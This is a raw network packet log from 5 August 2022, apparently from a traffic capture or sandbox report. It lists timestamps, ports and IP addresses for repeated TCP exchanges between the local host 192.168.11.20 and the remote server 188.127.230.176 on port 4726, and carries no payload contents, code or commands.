Aug 5, 2022 11:33:01.670965910 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671003103 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671072960 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671143055 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671144009 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671155930 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671164989 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671215057 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671286106 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671319962 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671356916 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671427965 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671493053 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671495914 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671509027 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671516895 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671540976 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671588898 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671636105 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671674013 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671681881 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671727896 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671773911 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671819925 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671849966 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671859980 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671865940 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671869040 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671878099 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.671914101 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.671960115 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672005892 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672025919 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672035933 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672051907 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672097921 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672142982 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672188044 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672209024 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672231913 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672234058 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672292948 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672368050 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672383070 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672400951 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672427893 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672477007 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672523022 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672560930 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672569036 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672584057 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672616005 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672662020 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672708035 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672738075 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672754049 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672754049 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672801971 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672847986 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672894001 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672913074 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672925949 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.672940016 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.672986984 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673032999 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673078060 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673089027 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.673100948 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.673125029 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673171043 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673218012 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673264027 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673266888 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.673289061 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.673311949 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.673450947 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.673472881 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.673484087 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.673616886 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.724031925 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724289894 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724344969 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724390984 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724436045 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724607944 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.724675894 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724724054 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724769115 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724778891 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.724814892 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.724817991 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.724862099 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725029945 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725078106 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725122929 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725137949 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.725168943 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725219011 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725265980 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.725269079 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725390911 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725438118 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725483894 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725492954 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.725532055 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.725588083 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725625992 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.725636959 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725684881 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725733042 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725781918 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725847006 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.725869894 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725917101 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.725963116 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.726007938 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.726025105 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.726063013 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.726175070 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.726202011 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.726376057 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.726422071 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.726557970 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.726679087 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.726794958 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727020025 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727031946 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.727112055 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727202892 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727291107 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727379084 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727433920 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.727467060 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727475882 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.727554083 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727639914 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727719069 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.727726936 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727814913 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727895975 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.727901936 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.727988005 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728074074 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728074074 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.728162050 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728251934 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728256941 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.728344917 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728430033 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728436947 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.728518009 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728560925 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.728605986 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728692055 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728735924 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.728780031 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728868008 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.728914022 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.728948116 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729000092 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729046106 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729090929 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729135036 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.729136944 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729187012 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729233980 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729269028 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.729280949 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729281902 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.729327917 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729373932 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729419947 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729444981 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.729455948 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.729466915 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729513884 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729558945 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729604959 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729651928 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729666948 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.729700089 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729747057 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729792118 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729825974 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.729839087 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729885101 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729931116 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.729976892 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730000973 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730022907 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730024099 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730034113 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730070114 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730114937 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730160952 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730182886 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730206966 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730253935 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730299950 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730345964 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730359077 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730382919 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730392933 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730392933 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730441093 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730504990 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730509996 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730557919 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730607033 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730653048 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730684042 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730694056 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730700016 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730746031 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730792046 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730838060 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730860949 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730870962 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.730885029 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730931044 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.730977058 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731023073 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731038094 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.731069088 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731115103 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731159925 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731205940 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731251001 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731297016 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731343031 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731389046 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731431961 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.731435061 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731456041 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.731481075 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731525898 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731570959 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731614113 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.731618881 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.731771946 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.731803894 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.731817961 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.731940031 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.796780109 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.876338005 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.876801014 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.892107964 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.892466068 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.954453945 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.015562057 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.095123053 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.095716953 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.172930002 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.203089952 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.204301119 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.205280066 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.255943060 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.255975008 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.256191015 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.256213903 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.296736002 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.307063103 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.307125092 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.307302952 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.307356119 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.376154900 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.456909895 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.548073053 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.692949057 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.782577038 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.782828093 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:02.860624075 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:02.918742895 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:03.001168013 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:03.008148909 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.256803036 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.308100939 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.308320045 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.308676004 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.367433071 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.367645025 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.454386950 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.454543114 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.506026030 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.545749903 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.626203060 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.626404047 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.704178095 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.704360008 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.782404900 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.782748938 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.815582991 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.834292889 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.834515095 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.866614103 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.885066032 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.936018944 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:07.954246044 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:07.954392910 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.005527020 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.005728006 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.056648970 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.078768969 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.173000097 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.250272036 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.345278025 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.550858974 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.641777039 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.642011881 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.735455036 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.735678911 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.829338074 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.829564095 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:08.923042059 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:08.923160076 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:09.016892910 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:09.112560987 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:09.204217911 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:09.270945072 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:09.351082087 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:09.351213932 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:09.435888052 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:09.438671112 CEST	4726	49799	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:09.438896894 CEST	49799	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:13.772120953 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:13.823756933 CEST	4726	49801	188.127.230.176	192.168.11.20
